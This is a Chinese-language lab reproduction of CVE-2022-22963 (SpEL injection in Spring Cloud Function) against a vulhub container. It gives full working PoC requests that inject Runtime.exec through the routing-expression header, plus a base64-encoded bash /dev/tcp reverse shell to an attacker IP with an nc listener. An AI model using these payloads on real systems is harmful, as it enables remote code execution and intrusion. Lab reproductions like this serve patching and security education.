Spring Cloud Function SpEL表达式命令注入（CVE-2022-22963）漏洞复现

一、漏洞简介

Spring Cloud Function是一个用于构建和部署基于函数的微服务的框架。它使用SpEL表达式来处理函数的输入和输出。SpEL是一种强大的表达式语言，它允许开发人员在运行时动态地计算表达式。

由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理，造成了Spel表达式注入漏洞，当使用路由功能时，攻击者可利用该漏洞远程执行任意代码。

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

二、环境搭建

192.168.233.129 #vuluhub靶场/靶机
192.168.233.144 #攻击机/反弹shell

vulhub-master/spring/CVE-2022-22963
docker-compose up -d

三、漏洞复现

访问环境地址

http://192.168.233.129:8080/

访问 /functionRouter 抓包

修改为

poc

POST /functionRouter HTTP/1.1
Host: 192.168.233.129:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.69
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

发送数据包，则会执行 touch /tmp/success 命令

进入容器查看

docker ps  #查看容器id

docker exec -it 1c120a852200 /bin/bash进入容器

查看文件，success创建成功

四、建立反弹shell

攻击机开启监听端口

nc -lvvp 6666

发送数据包

poc2

POST /functionRouter HTTP/1.1
Host: 192.168.233.129:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.69
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMzMuMTQ0LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 4

test

反弹shell命令  bash -i >& /dev/tcp/192.168.233.144/6666 0>&1

将  touch /tmp/success 替换为编码后的结果

 bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMzMuMTQ0LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}

监听中成功接受到了shell